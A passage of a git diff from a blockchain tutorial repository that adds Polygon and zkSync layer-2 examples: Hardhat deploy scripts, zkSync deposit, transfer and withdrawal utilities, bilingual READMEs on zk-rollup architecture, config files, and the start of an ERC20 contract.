+// We require the Hardhat Runtime Environment explicitly here. This is optional 
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const hre = require("hardhat");
+
+async function main() {
+  // Hardhat always runs the compile task when running scripts with its command
+  // line interface.
+  //
+  // If this script is run directly using `node` you may want to call compile 
+  // manually to make sure everything is compiled
+  // await hre.run('compile');
+
+  // We get the contract to deploy
+  const Greeter = await hre.ethers.getContractFactory("Greeter");
+  const greeter = await Greeter.deploy("Hello, Hardhat!");
+
+  await greeter.deployed();
+
+  console.log("Greeter deployed to:", greeter.address);
+
+  const MyToken = await hre.ethers.getContractFactory("MyToken");
+  const myToken = await MyToken.deploy();
+
+  await myToken.deployed();
+
+  console.log("myToken deployed to:", myToken.address);
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/Example29-layer2-matic/scripts/transfer-fund.js b/basic/29-Polygon(matic)-layer2/scripts/transfer-fund.js
similarity index 100%
rename from Example29-layer2-matic/scripts/transfer-fund.js
rename to basic/29-Polygon(matic)-layer2/scripts/transfer-fund.js
diff --git a/basic/29-Polygon(matic)-layer2/scripts/utils.js b/basic/29-Polygon(matic)-layer2/scripts/utils.js
new file mode 100644
index 000000000..669805123
--- /dev/null
+++ b/basic/29-Polygon(matic)-layer2/scripts/utils.js
@@ -0,0 +1,41 @@
+const bn = require("bn.js");
+const HDWalletProvider = require("@truffle/hdwallet-provider");
+
+const Network = require("@maticnetwork/meta/network");
+const Matic = require("@maticnetwork/maticjs").default;
+
+const SCALING_FACTOR = new bn(10).pow(new bn(18));
+
+async function getMaticClient(_network = "testnet", _version = "mumbai") {
+	const network = new Network(_network, _version);
+	const { from } = getAccount();
+	const matic = new Matic({
+		network: _network,
+		version: _version,
+		parentProvider: new HDWalletProvider(
+			process.env.PRIVATE_KEY,
+			network.Main.RPC
+		),
+		maticProvider: new HDWalletProvider(
+			process.env.PRIVATE_KEY,
+			network.Matic.RPC
+		),
+		parentDefaultOptions: { from },
+		maticDefaultOptions: { from },
+	});
+	await matic.initialize();
+	return { matic, network };
+}
+
+function getAccount() {
+	if (!process.env.PRIVATE_KEY || !process.env.FROM) {
+		throw new Error("Please set the PRIVATE_KEY/FROM env vars");
+	}
+	return { privateKey: process.env.PRIVATE_KEY, from: process.env.FROM };
+}
+
+module.exports = {
+	SCALING_FACTOR,
+	getMaticClient,
+	getAccount,
+};
\ No newline at end of file
diff --git a/basic/29-Polygon(matic)-layer2/test/sample-test.js b/basic/29-Polygon(matic)-layer2/test/sample-test.js
new file mode 100644
index 000000000..f1ebb6960
--- /dev/null
+++ b/basic/29-Polygon(matic)-layer2/test/sample-test.js
@@ -0,0 +1,15 @@
+const { expect } = require("chai");
+const { ethers } = require("hardhat");
+
+describe("Greeter", function() {
+  it("Should return the new greeting once it's changed", async function() {
+    const Greeter = await ethers.getContractFactory("Greeter");
+    const greeter = await Greeter.deploy("Hello, world!");
+    
+    await greeter.deployed();
+    expect(await greeter.greet()).to.equal("Hello, world!");
+
+    await greeter.setGreeting("Hola, mundo!");
+    expect(await greeter.greet()).to.equal("Hola, mundo!");
+  });
+});
diff --git a/basic/30-zksync-layer2/.gitignore b/basic/30-zksync-layer2/.gitignore
new file mode 100644
index 000000000..36077f288
--- /dev/null
+++ b/basic/30-zksync-layer2/.gitignore
@@ -0,0 +1,9 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+
+#Hardhat files
+cache
+artifacts
diff --git a/basic/30-zksync-layer2/README-CN.md b/basic/30-zksync-layer2/README-CN.md
new file mode 100644
index 000000000..35b500270
--- /dev/null
+++ b/basic/30-zksync-layer2/README-CN.md
@@ -0,0 +1,80 @@
+# zksync 介绍   
+zkSync是一种无需信任的协议，用于在以太坊上进行可扩展的低成本支付，由 zkRollup 技术提供支持。它使用零知识证明和链上数据可用性来确保用户的资金安全，就像这些资产从未离开过主网一样。 
+
+## zkSync2.0
+zkSync发布了2.0测试网，开始支持智能合约。这里有一个简单的dApp例子，大家可以进行体验。
+https://github.com/Dapp-Learning-DAO/Dapp-Learning/tree/main/basic/30-zksync-layer2/zkSync2.0-examples
+
+## ZK-Rollup
+zkRollup在链下利用Merkle tree存储账户状态，由Operator收集用户的交易，交易收集完成后Operator会执行每个交易（校验余额，校验nonce，校验签名，执行状态转换），当交易执行完成后会产生一个新的Merkle tree Root，为了证明链下状态转移是正确的，Operator会在交易执行完成后生成一个零知识证明的proof。
+Operator执行交易后本地的merkle tree root会由prev state root转换成post state root。  
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/30-zksync-layer2/zkrollup.png?raw=true" /></center>
+
+## 基本架构
+
+zkSync 的基本组成有：
+
+- zkSync smart contract：部署在以太坊网络上的 Solidity 智能合约，用于管理用户 balances 并验证 zkSync network 操作的正确性。
+
+- Prover application：为 a worker application，用于创建 a proof for an executed block。  
+  Prover application 会从 Server application 中获取有效的 jobs，当有新的区块时，Server application 将提供 a witness（input data to generate a proof），然后 Prover application 开始工作。当 proof 生成后，Prover application 会将该 proof 报告给 Server application，Server application 再将该 proof 发布给 zkSync 智能合约。
+
+- Prover application 可看成是 on-demand worker，当 Server application 负载很高时，允许有多个 Prover applications，当没有交易输入时则没有 Prover application。
+生成 proof 是非常消耗资源的工作，因此，运行 Prover application 的机器应具有现代 CPU 和大量的 RAM。
+
+- Server application：运行 zkSync 网络的节点。
+Server application 的职能主要有：  
+1）监测智能合约上的 onchain operations（如存款）  
+2）接收交易  
+3）生成 zkSync 上的区块  
+4）为 executed blocks 发起 proof 生成申请  
+5）将数据发布到 zkSync smart contract    
+
+
+
+## 操作流程  
+zkSync的交易可以由Layer1或者Layer2的操作发起。简单的说，zkSync的交易经历三个状态：1/Request 2/ Committed 3/ Verified。只有Verified的操作才是确定性状态。
+![架构图](./img/image.png)
+
+### 使用 JS 在 zkSync 上发送交易  
+- 安装依赖 
+```shell
+yarn
+``` 
+
+- 配置环境变量  
+```shell
+cp .env.example .env
+
+## 在 .env 文件配置 PRIVATE_KEY , INFURA_API_KEY 
+```
+
+- 执行测试脚本  
+```shell
+npx hardhat run scripts/main.js
+```
+
+## 参考链接  
+github: https://github.com/matter-labs/zksync  
+zkSync 基本原理: https://zhuanlan.zhihu.com/p/363029544  
+zkSync 源码分析: https://www.jianshu.com/u/ac3aed07477e  
+L2 - zkSync源代码导读: https://zhuanlan.zhihu.com/p/343212894   
+Layer 2 扩容方案及用例综述: https://mp.weixin.qq.com/s/TxZ5W9rx6OF8qB4ZU9XrKA   
+各个 Layer 2 方案比较及考虑点:  https://blog.matter-labs.io/evaluating-ethereum-l2-scaling-solutions-a-comparison-framework-b6b2f410f955  
+zkSync 官网: https://zksync.io/  
+zkSync twitter: https://twitter.com/zksync  
+zkSync discord: https://discord.com/invite/px2aR7w  
+zkSync telegram: https://t.me/zksync  
+深入理解 Plasma: https://learnblockchain.cn/2018/10/20/plasma-framework   
+7大扩容方案: https://picture.iczhiku.com/weixin/message1625468135177.html  
+rinkeby 桥:  https://rinkeby.zksync.io  
+ZKSync 协议介绍: https://www.jianshu.com/p/8821f1e63dc9  
+zkSync rinkeby scan: https://rinkeby.zkscan.io/  
+NFT 上传: https://app.pinata.cloud/  
+zigzag 介绍:  https://docs.zigzag.exchange/  
+一文读懂 Layer2 方案 zkSync 基本原理：https://zhuanlan.zhihu.com/p/363029544
+zksync 源码分析： https://www.jianshu.com/u/ac3aed07477e  
+李星L2 - zkSync源代码导读： https://zhuanlan.zhihu.com/p/343212894  
+以太坊 Layer 2 扩容方案及用例综述： https://mp.weixin.qq.com/s/TxZ5W9rx6OF8qB4ZU9XrKA
+zkSync2.0 example : https://v2-docs.zksync.io/dev/guide/hello-world.html
+zksync-101: https://hacken.io/discover/zksync-101-everything-you-need-to-know-about-l2-blockchain/
diff --git a/basic/30-zksync-layer2/env.example b/basic/30-zksync-layer2/env.example
new file mode 100644
index 000000000..1b0a12f5c
--- /dev/null
+++ b/basic/30-zksync-layer2/env.example
@@ -0,0 +1,4 @@
+PRIVATE_KEY=1111111111111111111111111111111111111111111111111111111111111111
+INFURA_API_KEY=zzzz
+ZKSYNC_PROVIDER_URL=https://rinkeby-api.zksync.io/jsrpc
+TARGET_TEST_NET=rinkeby
\ No newline at end of file
diff --git a/basic/30-zksync-layer2/hardhat.config.js b/basic/30-zksync-layer2/hardhat.config.js
new file mode 100644
index 000000000..cfeed5580
--- /dev/null
+++ b/basic/30-zksync-layer2/hardhat.config.js
@@ -0,0 +1,21 @@
+require("@nomiclabs/hardhat-waffle");
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async (taskArgs, hre) => {
+  const accounts = await hre.ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+// You need to export an object to set up your config
+// Go to https://hardhat.org/config/ to learn more
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: "0.8.4",
+};
diff --git a/basic/30-zksync-layer2/img/image.png b/basic/30-zksync-layer2/img/image.png
new file mode 100644
index 000000000..c49e11d1f
Binary files /dev/null and b/basic/30-zksync-layer2/img/image.png differ
diff --git a/basic/30-zksync-layer2/package.json b/basic/30-zksync-layer2/package.json
new file mode 100644
index 000000000..b594a4154
--- /dev/null
+++ b/basic/30-zksync-layer2/package.json
@@ -0,0 +1,24 @@
+{
+  "name": "js-sdk",
+  "version": "1.0.0",
+  "description": "[主页](https://github.com/matter-labs/zksync)",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "devDependencies": {
+    "@nomiclabs/hardhat-ethers": "^2.0.4",
+    "@nomiclabs/hardhat-waffle": "^2.0.2",
+    "chai": "^4.3.4",
+    "ethereum-waffle": "^3.4.0",
+    "ethers": "^5.5.3",
+    "hardhat": "^2.8.3"
+  },
+  "dependencies": {
+    "dotenv": "^14.2.0",
+    "zksync": "^0.11.6"
+  }
+}
diff --git a/basic/30-zksync-layer2/readme.md b/basic/30-zksync-layer2/readme.md
new file mode 100644
index 000000000..9224e5e4f
--- /dev/null
+++ b/basic/30-zksync-layer2/readme.md
@@ -0,0 +1,87 @@
+# zksync 介绍   
+zkSync是一种无需信任的协议，用于在以太坊上进行可扩展的低成本支付，由 zkRollup 技术提供支持。它使用零知识证明和链上数据可用性来确保用户的资金安全，就像这些资产从未离开过主网一样。 
+
+## zkSync2.0
+zkSync发布了2.0测试网，开始支持智能合约。这里有一个简单的dApp例子，大家可以进行体验。
+https://github.com/Dapp-Learning-DAO/Dapp-Learning/tree/main/basic/30-zksync-layer2/zkSync2.0-examples
+
+## ZK-Rollup
+zkRollup在链下利用Merkle tree存储账户状态，由Operator收集用户的交易，交易收集完成后Operator会执行每个交易（校验余额，校验nonce，校验签名，执行状态转换），当交易执行完成后会产生一个新的Merkle tree Root，为了证明链下状态转移是正确的，Operator会在交易执行完成后生成一个零知识证明的proof。
+Operator执行交易后本地的merkle tree root会由prev state root转换成post state root。  
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/30-zksync-layer2/zkrollup.png?raw=true" /></center>
+
+- Boojum Upgrade: 
+ https://zksync.mirror.xyz/HJ2Pj45EJkRdt5Pau-ZXwkV2ctPx8qFL19STM5jdYhc
+
+## 基本架构
+
+Components of zkSync：
+
+- zkSync smart contract：Deployed on Ethereum mainnet, which is used to manage account balance && verify operations on zkSync network. 
+
+- Prover application：A worker application that is used to generate a proof for an executed block。  
+  Prover application fetch valid jobs from Server application. Whenever a new block is generated, Server application will provide a witness（input data to generate a proof), then Prover application starts to work. when proof is generated, Prover application will report the proof to Server application, and then Server application publish the proof to zkSync smart contract. 
+
+- Prover application can be regarded as an on-demand worker. When Server application workload is very high, there will be multi Prover applications. In the opposite, when there is no transactions, no Prover application is needed.  
+Proof generating is a resource-intensive job, it requires a very powerful CPU && lots of RAM for machine that runs Prover application。
+
+- Server application：Nodes running the zkSync network 
+Main functions of Server application ：  
+1）Listenging events of onchain operations（ Such as deposite ）  
+2）Receive transactions  
+3）Generate blocks on zkSync   
+4）Apply for proof generating for executed blocks   
+5）Publish data to zkSync smart contract    
+
+## Operation Steps   
+### Deposite ETH to zksync mannually    
+- Login [zksync testnet](https://wallet.zksync.io/?network=rinkeby)  并链接 metaMask 钱包  
+
+- Choose "Add Funds"   
+
+- Input deposite amount, then click "Add Funds"  
+
+- Deposite successfully  
+
+- Click "OK" and check balance on rinkeby zkSync   
+
+- Review transaction on [zkscan](https://rinkeby.zkscan.io/)   
+
+### Send transaction to zkSync with script   
+- Install dependencies   
+```shell
+yarn
+``` 
+
+- Config env parameters    
+```shell
+cp .env.example .env
+
+## config PRIVATE_KEY , INFURA_API_KEY in .env
+```
+
+- Execute test script    
+```shell
+npx hardhat run scripts/main.js
+```
+
+## References    
+- github: https://github.com/matter-labs/zksync  
+- zkSync principal: https://zhuanlan.zhihu.com/p/363029544  
+- zkSync source code analysis: https://www.jianshu.com/u/ac3aed07477e  
+- L2 - zkSync souce code tutorial: https://zhuanlan.zhihu.com/p/343212894   
+- Layer 2 expansion solution: https://mp.weixin.qq.com/s/TxZ5W9rx6OF8qB4ZU9XrKA   
+- Layer 2 solution comparison:  https://blog.matter-labs.io/evaluating-ethereum-l2-scaling-solutions-a-comparison-framework-b6b2f410f955  
+- zkSync official website: https://zksync.io/  
+- zkSync twitter: https://twitter.com/zksync  
+- zkSync discord: https://discord.com/invite/px2aR7w  
+- zkSync telegram: https://t.me/zksync  
+- Deep into Plasma: https://learnblockchain.cn/2018/10/20/plasma-framework   
+- 7 solutions for expansion: https://picture.iczhiku.com/weixin/message1625468135177.html  
+- rinkeby cross-bridge :  https://rinkeby.zksync.io  
+- ZKSync introduction: https://www.jianshu.com/p/8821f1e63dc9  
+- zkSync rinkeby scan: https://rinkeby.zkscan.io/  
+- NFT upload: https://app.pinata.cloud/  
+- zigzag introduction:  https://docs.zigzag.exchange/  
+- zkSync2.0 example : https://v2-docs.zksync.io/dev/guide/hello-world.html
+- Boojum Upgrade: https://zksync.mirror.xyz/HJ2Pj45EJkRdt5Pau-ZXwkV2ctPx8qFL19STM5jdYhc
diff --git a/basic/30-zksync-layer2/scripts/main.js b/basic/30-zksync-layer2/scripts/main.js
new file mode 100644
index 000000000..4d5af0b84
--- /dev/null
+++ b/basic/30-zksync-layer2/scripts/main.js
@@ -0,0 +1,39 @@
+const ethers = require("ethers");
+const zksync = require("zksync");
+require('dotenv').config();
+const getZkWallet = require("./utils/zkwallet");
+const getZkAccountInfo = require("./utils/zkaccount");
+const depositETHToZksync = require("./utils/L1ToL2transfer");
+const sendTx = require("./utils/L2ToL2transfer");
+const withdrawETHTo = require("./utils/L2ToL1transfer");
+
+/////////////////
+
+async function main() {
+  const _privKey = process.env.PRIVATE_KEY;
+  const targetAddress = "0x3238f24e7C752398872B768Ace7dd63c54CfEFEc";
+  const providerURL = process.env.ZKSYNC_PROVIDER_URL;
+  const targetNetwork = process.env.TARGET_TEST_NET;
+
+  const zkWalletObj = await getZkWallet(targetNetwork, _privKey, providerURL);
+  const accountInfo = await getZkAccountInfo(zkWalletObj);
+
+  console.log({ accountInfo });
+
+  const cost = 0.01 // 转账金额
+  const costStr = cost.toString();
+
+  // L1 转账到 L2
+  await depositETHToZksync(zkWalletObj, zkWalletObj.address(), costStr);
+
+  // L2 到 L2 转账
+  const transfer = await sendTx(zkWalletObj, targetAddress, costStr);
+  const tx = transfer.txData.tx;
+  console.log({tx});
+
+  // L2 到 L1 转账
+  await withdrawETHTo(zkWalletObj,zkWalletObj.address(),costStr);
+
+}
+
+main()
diff --git a/basic/30-zksync-layer2/scripts/utils/L1ToL2transfer.js b/basic/30-zksync-layer2/scripts/utils/L1ToL2transfer.js
new file mode 100644
index 000000000..b238e55f0
--- /dev/null
+++ b/basic/30-zksync-layer2/scripts/utils/L1ToL2transfer.js
@@ -0,0 +1,19 @@
+const ethers = require("ethers");
+
+async function depositETHToZksync(zkWallet, targetAddress, costEth) { // L1 to L2
+    console.log("Transfering from L1 to L2 ....");
+    const deposit = await zkWallet.depositToSyncFromEthereum({
+        depositTo: targetAddress, // Can be the same address
+        token: "ETH",
+        amount: ethers.utils.parseEther(costEth),
+    })
+
+    // Await confirmation from the zkSync operator
+    // Completes when a promise is issued to process the tx
+    const depositReceipt = await deposit.awaitReceipt();
+
+    console.log("Transfer from L1 to L2 successfully");
+    console.log({ depositReceipt })
+}
+
+module.exports = depositETHToZksync;
\ No newline at end of file
diff --git a/basic/30-zksync-layer2/scripts/utils/L2ToL1transfer.js b/basic/30-zksync-layer2/scripts/utils/L2ToL1transfer.js
new file mode 100644
index 000000000..ff2a8ed3e
--- /dev/null
+++ b/basic/30-zksync-layer2/scripts/utils/L2ToL1transfer.js
@@ -0,0 +1,17 @@
+const ethers = require("ethers");
+
+async function withdrawETHTo(zkWallet, targetAddress, costEth) { // L2 to L1
+    console.log("Transfering from L2 to L1 ...");
+    const withdraw = await zkWallet.withdrawFromSyncToEthereum({
+        ethAddress: targetAddress,
+        token: "ETH",
+        amount: ethers.utils.parseEther(costEth),
+    });
+
+    await withdraw.awaitVerifyReceipt();
+    
+    console.log("Transfer from L2 to L1 successfully");
+    console.log({withdraw});
+}
+
+module.exports = withdrawETHTo;
\ No newline at end of file
diff --git a/basic/30-zksync-layer2/scripts/utils/L2ToL2transfer.js b/basic/30-zksync-layer2/scripts/utils/L2ToL2transfer.js
new file mode 100644
index 000000000..56d236bbf
--- /dev/null
+++ b/basic/30-zksync-layer2/scripts/utils/L2ToL2transfer.js
@@ -0,0 +1,54 @@
+const zksync = require("zksync");
+
+async function sendTx(zkWallet, newAddr, cost) { // L2 to L2
+    const isSigningKeySet = await zkWallet.isSigningKeySet()
+
+    console.log("isSigningKeySet: ", isSigningKeySet)
+
+    // Need to unlock, before do transfer on L2
+    if (!isSigningKeySet) {
+
+        if ((await zkWallet.getAccountId()) == undefined) {
+            throw new Error("Unknown Account Id")
+        }
+
+        console.log("Signing...")
+
+        // As any other kind of transaction, `ChangePubKey` transaction requires fee.
+        // User doesn't have (but can) to specify the fee amount. If omitted, library will query zkSync node for
+        // the lowest possible amount.
+        const changePubkey = await zkWallet.setSigningKey({
+            ethAuthType: "ECDSA", 
+            feeToken: "ETH",
+            // fee: ethers.utils.parseEther("0.0002") fee is optional
+        });
+
+        // Wait until the tx is committed
+        const receipt = await changePubkey.awaitReceipt();
+
+        console.log("changePubkey: ", changePubkey);
+        console.log();
+        console.log("receipt: ", receipt);
+
+        const isSigningKeySet = await zkWallet.isSigningKeySet()
+        console.log("isSigningKeySet: ", isSigningKeySet)
+    }
+
+    const amount = zksync.utils.closestPackableTransactionAmount(
+        ethers.utils.parseEther(cost))
+
+    console.log("Transfering from L2 to L2 ...")
+
+    const transfer = await zkWallet.syncTransfer({
+        to: newAddr,
+        token: "ETH",
+        amount,
+        // fee, fee is optional
+    });
+
+    console.log("Transfer from L2 to L2 successfully");
+
+    return transfer
+}
+
+module.exports = sendTx;
\ No newline at end of file
diff --git a/basic/30-zksync-layer2/scripts/utils/zkaccount.js b/basic/30-zksync-layer2/scripts/utils/zkaccount.js
new file mode 100644
index 000000000..f73c217c5
--- /dev/null
+++ b/basic/30-zksync-layer2/scripts/utils/zkaccount.js
@@ -0,0 +1,41 @@
+async function getZkAccountInfo(zkWallet) {
+    // Committed state is not final yet
+    // let committedETHBalance = await zkWallet.getBalance("ETH");
+    // console.log("CommittedETHBalance: ",committedETHBalance.toString())
+
+    // Verified state is final
+    const verifiedETHBalance = await zkWallet.getBalance("ETH", "verified");
+
+    const accountId = await zkWallet.getAccountId();
+
+    let isSigningKeySet = false
+    let ethBalance = 0.0
+    let extra = {}
+
+    if (accountId == undefined) {
+        extra["accountId"] = "Unknown Account Id"
+    } else {
+        isSigningKeySet = await zkWallet.isSigningKeySet();
+
+        /// AccountState
+        const state = await zkWallet.getAccountState();
+        const committedBalances = state.committed.balances;
+
+        committedETHBalance = committedBalances["ETH"];
+        ethBalance = ethers.utils.formatEther(committedETHBalance)
+    }
+
+    let account = {}
+
+    account["accountId"] = accountId
+    account["committedETHBalance"] = committedETHBalance
+    account["verifiedETHBalance"] = verifiedETHBalance
+    account["isSigningKeySet"] = isSigningKeySet
+    account["ethBalance"] = ethBalance
+    account["extra"] = extra
+
+    return account
+}
+
+// Export function getZkWallet
+module.exports = getZkAccountInfo;
\ No newline at end of file
diff --git a/basic/30-zksync-layer2/scripts/utils/zkwallet.js b/basic/30-zksync-layer2/scripts/utils/zkwallet.js
new file mode 100644
index 000000000..584a68b69
--- /dev/null
+++ b/basic/30-zksync-layer2/scripts/utils/zkwallet.js
@@ -0,0 +1,20 @@
+const ethers = require("ethers");
+const zksync = require("zksync");
+require('dotenv').config();
+
+async function getZkWallet(targetNetwork, privateKey, zkProviderURL) {
+
+    const provider = new ethers.providers.InfuraProvider(
+        targetNetwork,
+        process.env.INFURA_API_KEY
+    );
+
+    const ethWallet = new ethers.Wallet(privateKey, provider);
+    const zkProvider = await zksync.Provider.newHttpProvider(zkProviderURL);
+
+    const zkWallet = await zksync.Wallet.fromEthSigner(ethWallet, zkProvider);
+    return zkWallet
+}
+
+// Export function getZkWallet
+module.exports = getZkWallet;
diff --git a/basic/30-zksync-layer2/zksync-era/hello-zksync/.env.example b/basic/30-zksync-layer2/zksync-era/hello-zksync/.env.example
new file mode 100644
index 000000000..c65faa8c1
--- /dev/null
+++ b/basic/30-zksync-layer2/zksync-era/hello-zksync/.env.example
@@ -0,0 +1 @@
+WALLET_PRIVATE_KEY=
diff --git a/basic/30-zksync-layer2/zksync-era/hello-zksync/.gitignore b/basic/30-zksync-layer2/zksync-era/hello-zksync/.gitignore
new file mode 100644
index 000000000..6144bb563
--- /dev/null
+++ b/basic/30-zksync-layer2/zksync-era/hello-zksync/.gitignore
@@ -0,0 +1,113 @@
+# Logs
+logs
+*.log
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
+lerna-debug.log*
+.vscode
+
+# hardhat artifacts
+artifacts
+cache
+
+# zksync artifacts
+artifacts-zk
+cache-zk
+
+# Diagnostic reports (https://nodejs.org/api/report.html)
+report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
+
+# Runtime data
+pids
+*.pid
+*.seed
+*.pid.lock
+
+# Directory for instrumented libs generated by jscoverage/JSCover
+lib-cov
+
+# Coverage directory used by tools like istanbul
+coverage
+*.lcov
+
+# nyc test coverage
+.nyc_output
+
+# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
+.grunt
+
+# Bower dependency directory (https://bower.io/)
+bower_components
+
+# node-waf configuration
+.lock-wscript
+
+# Compiled binary addons (https://nodejs.org/api/addons.html)
+build/Release
+
+# Dependency directories
+node_modules/
+jspm_packages/
+
+# TypeScript v1 declaration files
+typings/
+
+# TypeScript cache
+*.tsbuildinfo
+
+# Optional npm cache directory
+.npm
+
+# Optional eslint cache
+.eslintcache
+
+# Microbundle cache
+.rpt2_cache/
+.rts2_cache_cjs/
+.rts2_cache_es/
+.rts2_cache_umd/
+
+# Optional REPL history
+.node_repl_history
+
+# Output of 'npm pack'
+*.tgz
+
+# Yarn Integrity file
+.yarn-integrity
+
+# dotenv environment variables file
+.env
+.env.test
+
+# parcel-bundler cache (https://parceljs.org/)
+.cache
+
+# Next.js build output
+.next
+
+# Nuxt.js build / generate output
+.nuxt
+dist
+
+# Gatsby files
+.cache/
+# Comment in the public line in if your project uses Gatsby and *not* Next.js
+# https://nextjs.org/blog/next-9-1#public-directory-support
+# public
+
+# vuepress build output
+.vuepress/dist
+
+# Serverless directories
+.serverless/
+
+# FuseBox cache
+.fusebox/
+
+# DynamoDB Local files
+.dynamodb/
+
+# TernJS port file
+.tern-port
diff --git a/basic/30-zksync-layer2/zksync-era/hello-zksync/LICENSE b/basic/30-zksync-layer2/zksync-era/hello-zksync/LICENSE
new file mode 100644
index 000000000..7fff3d4ee
--- /dev/null
+++ b/basic/30-zksync-layer2/zksync-era/hello-zksync/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2023 Matter Labs
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/basic/30-zksync-layer2/zksync-era/hello-zksync/README-CN.md b/basic/30-zksync-layer2/zksync-era/hello-zksync/README-CN.md
new file mode 100644
index 000000000..2f19214f1
--- /dev/null
+++ b/basic/30-zksync-layer2/zksync-era/hello-zksync/README-CN.md
@@ -0,0 +1,19 @@
+## zksync era
+
+### 介绍
+ 使用zksync-cli部署合约
+
+ ```
+ 1.  npx zksync-cli create hello-zksync
+ 2.  cd hello-zksync
+ 3.  yarn compile
+ 4.  yarn deploy 
+ ```
+ 
+ 部署erc20合约：
+ ``` 
+ npx hardhat deploy-zksync --script erc20/deploy.ts
+ ```
+
+
+
diff --git a/basic/30-zksync-layer2/zksync-era/hello-zksync/README.md b/basic/30-zksync-layer2/zksync-era/hello-zksync/README.md
new file mode 100644
index 000000000..862dae045
--- /dev/null
+++ b/basic/30-zksync-layer2/zksync-era/hello-zksync/README.md
@@ -0,0 +1,51 @@
+# zkSync Hardhat project template
+
+This project was scaffolded with [zksync-cli](https://github.com/matter-labs/zksync-cli).
+
+## Project Layout
+
+- `/contracts`: Contains solidity smart contracts.
+- `/deploy`: Scripts for contract deployment and interaction.
+- `/test`: Test files.
+- `hardhat.config.ts`: Configuration settings.
+
+## How to Use
+
+- `npm run compile`: Compiles contracts.
+- `npm run deploy`: Deploys using script `/deploy/deploy.ts`.
+- `npm run interact`: Interacts with the deployed contract using `/deploy/interact.ts`.
+- `npm run test`: Tests the contracts.
+
+Note: Both `npm run deploy` and `npm run interact` are set in the `package.json`. You can also run your files directly, for example: `npx hardhat deploy-zksync --script deploy.ts`
+
+### Environment Settings
+
+To keep private keys safe, this project pulls in environment variables from `.env` files. Primarily, it fetches the wallet's private key.
+
+Rename `.env.example` to `.env` and fill in your private key:
+
+```
+WALLET_PRIVATE_KEY=your_private_key_here...
+```
+
+### Network Support
+
+`hardhat.config.ts` comes with a list of networks to deploy and test contracts. Add more by adjusting the `networks` section in the `hardhat.config.ts`. To make a network the default, set the `defaultNetwork` to its name. You can also override the default using the `--network` option, like: `hardhat test --network dockerizedNode`.
+
+### Local Tests
+
+Running `npm run test` by default runs the [zkSync In-memory Node](https://era.zksync.io/docs/tools/testing/era-test-node.html) provided by the [@matterlabs/hardhat-zksync-node](https://era.zksync.io/docs/tools/hardhat/hardhat-zksync-node.html) tool.
+
+Important: zkSync In-memory Node currently supports only the L2 node. If contracts also need L1, use another testing environment like Dockerized Node. Refer to [test documentation](https://era.zksync.io/docs/tools/testing/) for details.
+
+## Useful Links
+
+- [Docs](https://era.zksync.io/docs/dev/)
+- [Official Site](https://zksync.io/)
+- [GitHub](https://github.com/matter-labs)
+- [Twitter](https://twitter.com/zksync)
+- [Discord](https://join.zksync.dev/)
+
+## License
+
+This project is under the [MIT](./LICENSE) license.
\ No newline at end of file
diff --git a/basic/30-zksync-layer2/zksync-era/hello-zksync/contracts/Greeter.sol b/basic/30-zksync-layer2/zksync-era/hello-zksync/contracts/Greeter.sol
new file mode 100644
index 000000000..5496798ff
--- /dev/null
+++ b/basic/30-zksync-layer2/zksync-era/hello-zksync/contracts/Greeter.sol
@@ -0,0 +1,18 @@
+//SPDX-License-Identifier: Unlicense
+pragma solidity ^0.8.0;
+
+contract Greeter {
+    string private greeting;
+
+    constructor(string memory _greeting) {
+        greeting = _greeting;
+    }
+
+    function greet() public view returns (string memory) {
+        return greeting;
+    }
+
+    function setGreeting(string memory _greeting) public {
+        greeting = _greeting;
+    }
+}
diff --git a/basic/30-zksync-layer2/zksync-era/hello-zksync/contracts/erc20/MyERC20Token.sol b/basic/30-zksync-layer2/zksync-era/hello-zksync/contracts/erc20/MyERC20Token.sol
new file mode 100644
index 000000000..16191994e
--- /dev/null
+++ b/basic/30-zksync-layer2/zksync-era/hello-zksync/contracts/erc20/MyERC20Token.sol
@@ -0,0 +1,27 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
+
+/**
+ * @title MyERC20Token
+ * @dev This is a basic ERC20 token using the OpenZeppelin's ERC20PresetFixedSupply preset.
+ * You can edit the default values as needed.
+ */
+contract MyERC20Token is ERC20Burnable {
+
+    /**
+     * @dev Constructor to initialize the token with default values.
+     * You can edit these values as needed.
+     */
